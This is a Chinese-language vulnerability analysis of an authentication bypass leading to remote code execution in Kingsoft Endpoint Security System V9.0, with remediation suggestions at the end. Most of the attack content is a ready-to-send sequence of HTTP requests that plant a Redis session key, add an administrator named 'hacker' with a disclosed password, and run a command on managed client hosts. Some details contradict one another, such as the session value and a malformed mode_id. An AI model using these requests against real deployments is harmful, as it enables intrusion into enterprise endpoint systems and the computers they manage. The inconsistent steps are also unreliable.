金山终端安全系统 V9.0 任意用户添加导致 RCE
字数 1283 2025-08-22 18:37:27
金山终端安全系统 V9.0 任意用户添加导致 RCE 漏洞分析
漏洞概述
金山终端安全系统 V9.0 存在一个严重的安全漏洞,攻击者可以通过构造特定的请求序列,绕过系统权限校验,实现任意用户添加并最终导致远程代码执行(RCE)。该漏洞主要涉及权限校验绕过和 Redis 缓存操纵。
漏洞分析
1. 系统入口点
系统的主要入口点在 inter/ajax.php,该路由可以访问到 inter 目录下的全部 PHP 文件。该文件包含权限校验逻辑:
// ajax.php 权限校验逻辑
if (!in_array($imd, $no_session_inter)) {
check_sid($session_id);
}
$no_session_inter 变量来自 no_session_inter.php 文件中定义的数组,指定了哪些文件可以被未授权访问。
2. 权限校验绕过
当请求的文件不在 no_session_inter.php 的白名单中时,系统会调用 check_sid 函数进行校验:
function check_sid($session_id) {
// 从 Redis 检查是否存在 login session
if ($redis->exists("login_session_".$session_id)) {
return true;
}
die("Access Denied");
}
关键点:
$session_id变量是可控的- 检查 Redis 中是否存在
login_session_$session_id键 - 如果存在则验证通过
3. 可利用的文件
no_session_inter.php 中定义了两个关键文件:
checklogin.php- 可设置 SESSION 值send_verify2email.php- 可设置 Redis 键值对
checklogin.php 分析
// 可设置 $_SESSION['userName']
session_start();
$_SESSION['userName'] = $_POST['uname'];
send_verify2email.php 分析
// 设置 Redis 键值对
$redis->set("login_session_".$_SESSION['userName'], "1", 60);
通过组合这两个文件的功能,可以:
- 通过
checklogin.php设置$_SESSION['userName']为Email - 通过
send_verify2email.php在 Redis 中设置login_session_Email键 - 之后在请求其他接口时,设置
$session_id为Email即可绕过权限校验
漏洞复现步骤
第一阶段:权限校验绕过
- 设置 SESSION 值
POST /inter/ajax.php?imd=checklogin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
uname=login_session_
- 在 Redis 中添加键值对
POST /inter/ajax.php?imd=send_verify2email HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
mailTo=login_session_@qq.com
第二阶段:添加管理员用户
- 添加管理员用户
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 285
{"add_user_info_cmd":{
"userSession":"Email",
"mode_id":"B666A8CD-2247-2CA8-4F7D-29EB058A27C2",
"real_name":"",
"user_name":"hacker",
"type":"分级管理员",
"tel":"",
"mobile":"",
"corp":"",
"notice":"",
"psw":"92d7ddd2a010c59511dc2905b7e14f64",
"email":"",
"VHierarchyName":"",
"orgtype":"1"
}}
注意:
userSession必须设置为Email- 密码为
1qaz@WSX(MD5: 92d7ddd2a010c59511dc2905b7e14f64)
第三阶段:远程代码执行
- 获取 client_id
POST /inter/ajax.php?cmd=get_old_version_client HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 116
{"get_hight_path_client":{
"key_words":"",
"current_page":"1",
"count_page":"10",
"sort_type":"mac",
"sort_order":"asc"
}}
- 执行任意命令
POST /inter/ajax.php?cmd=set_client_notify_cmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 252
{"set_client_notify_cmd":{
"userSession":"Email",
"mode_id":"B666A8CD-2247-2CA8-4F7D29EB058A27C08",
"host_id":["2674434368"],
"timeout":"7",
"subcmd_name":"send_cmd_code",
"subcmd_content":{
"path":"C:\\Windows\\System32\\calc.exe",
"param":"",
"silent":"0"
}
}}
漏洞修复建议
- 移除或严格限制
send_verify2email.php的功能 - 加强
check_sid函数的校验逻辑 - 对 Redis 键的设置进行更严格的验证
- 对管理员添加功能增加二次验证
- 对命令执行功能增加权限校验
总结
该漏洞通过组合多个功能点的缺陷,实现了从权限校验绕过到远程代码执行的完整攻击链。关键在于:
- 利用
checklogin.php控制 SESSION - 利用
send_verify2email.php操纵 Redis 缓存 - 绕过权限校验后滥用系统功能
这种类型的漏洞强调了在设计系统时需要全面考虑各组件之间的安全交互,特别是权限校验机制需要贯穿所有敏感操作。